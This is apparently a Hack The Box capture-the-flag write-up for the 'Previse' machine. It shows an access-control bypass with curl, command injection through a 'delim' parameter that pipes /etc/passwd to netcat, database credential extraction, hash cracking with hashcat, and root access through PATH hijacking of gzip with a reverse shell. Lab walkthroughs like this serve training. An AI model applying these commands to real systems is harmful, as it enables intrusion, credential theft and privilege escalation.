HTB: Previse



This was a fun box. Somewhat generic in it's methodology, but a great box overall regardless! Getting root was by far the most fun aspect of this box; Identifying and exploiting a command hijacking attack.


Scanning with nmap reveals the oh-so common ports 22 and 80: nmap -sT -sV -A -v <ip>.

Gobuster reveals quite a bit of content, almost all of which will be relevant in the near future: gobuster dir -x .php,.txt,.html -u <ip> -w <wordlist>. Manually checking all the files results in a redirection back to the main login page. The only exception is a "nav.php" file which brings us to a css-less page with all the same links as discovered through gobuster.

nav.php page

After a bit of looking around, I decided maybe I was missing something when inspecting the pages via inspect element. As a random experiment I try cURLing the pages in hopes the terminal output reveals something different. To my surprise, it did! cURL prevented the redirection and allowed us to view the pages we request (although they don't reveal exactly how they redirected us). The first interesting file seems to be "accounts.php". Checking it out reveals a warning letting the user know that this page should only be accessible to admins. Perfect, because we aren't an admin! Furthermore, we find that this is the page that lets us create accounts via POST request to this page.

Making & Breaking Accounts:

To make an account, we can send a POST request to "accounts.php", passing parameters: "username", "password", and "confirm". "confirm" is simply the same password and acts as a password confirmation during submission. The following creates an account with credentials: "addie:passie": curl -X POST -d 'username=addie&password=passie&confirm=passie' <ip>/accounts.php. Once we've done this we can finally login using our shiny new admin account!

Going back to any valid page via web browser throws us back to the login page. Using "addie:passie" we can login and start snooping around more. There are many interesting locations, but the two that catch our eyes the most are "FILES" and "MANAGEMENT MENU -> LOG DATA". The "FILES" page shows us an upload sections, as well as a table of all uploaded files. The only one here is a zip named "SITEBACKUP". Obviously we download that to inspect later.

"files.php" page with "SITEBACKUP.ZIP" just begging to be downloaded

Next we can try uploading a php webshell, but find we have no way to directly access it through the browser. Going back to the zip which we should have unzipped by now (yeah I'm hoping you're doing this with me right now!) we find the source code for all the files that were listed in "nav.php" and then some! JACKPOT!!! Looking through the source code doesn't yield too much info; Most of the input is all sanitized and therefore an unlikely exploit. We notice that many of the files use "config.php", which actually contains credentials to the database the site stores files and accounts in. Put those bad boys in your clipboard, or preferably somewhere less volatile.

In the "file_logs.php" page, we see that we are able to request some log file via POST to "logs.php". Using the tool as intended via browser downloads a log file, showing a user "m4lwhere" has been downloading multiple files. Checking the source code reveals the lack of dedication this developer had towards their site. They are executing commands using the php "exec()" function and take the POST paramete "delim" as argument for said commands. This means we can inject some commands through the "delim" parameter! This is achieved by adding a valid input, such as the string "space", followed by a semi-colon to say we're ending the previous command. I've found that simply adding any additional commands after the semi-colon doesn't work, but we can remediate this by getting the PHP to evaluate a command substitution, specifically one that creates a reverse shell to our machine. This can all be done via cURL: curl -X POST -b 'PHPSESSID=<a valid PHPSESSID' -d 'delim=space; $(cat /etc/passwd | nc 3184)', making sure to start a listener on our system first: nc -lvp 3184.

"file_logs.php" page showing a comma delimeter

I've actually written a script that gets us a shell [1]. Pass your machine IP and your desired port (any non-well-known port) as arguments and type "yes" if you haven't created a profile yet.

Getting User:

We now have a shell as user "www-data". We can check /home to find user "m4lwhere" who's home directory contains the user.txt file. Unfortunately only m4lwhere himself can read the file. No fret! We have the password for the database from earlier! One issue... This isn't the password for m4lwhere. Duh! We need to login to the database who - if you remember from the log file - contains the credentials for m4lwhere's profile on the site. Maybe he uses the same password for his machine account? We can login to the database and extract his hashed password: mysql -u root -p'theactualsqlpassword' previse <<< 'SHOW TABLES; SELECT * FROM accounts;'.

m4lwhere's hash as shown by MySQL

Now, it took me quite a while of Googling to understand what this hash is. It's an MD5crypt hash, identified by the '$1$' leading the hash. Everything from the first character up to the last '$' is the salt used to hash the original string. Hashcat can crack this using mode 500. For this we'll use good ol' "rockyou.txt": hashcat -m 500 -a 0 <password hash> <wordlist path>. Once we've cracked the password we can login to m4lwhere's account via ssh! Get in and get that user flag!

Hashcat cracking the hashed password

Getting Root:

Using the classic sudo -l we can see we are able to run "/opt/scripts/" as root. This file only has two lines of code which both zip up a file using "gzip", and saves the output to a file who's name is dynamically generated as yesterday's date. This stumped me for quite a while until I found "Sudo Hijacking" by HackTricks [2]. Because the script doesn't use absolute paths, we can trick the script into running our own code instead of the real command! Move to a writable directory, such as /tmp, and create an executable file named "gzip". Export the current directory to the "PATH" env variable: export PATH=/tmp:$PATH. Any code in this fake "gzip" file will be executed by the script instead of the true "gzip". Because the script redirects output to a zip file, the easiest way to get a root shell is by starting a reverse shell. Add your preferred bash reverse shell [3] into the fake "gzip" file then run the script as root! Finally, wipe those tears of joy off your face and print that root flag: cat /root/root.txt!


Exploit -> Shell [FILE]

Sudo Hijacking [EXTERNAL]

Bash One-Liner Reverse Shell

Last edit: 2021.08.20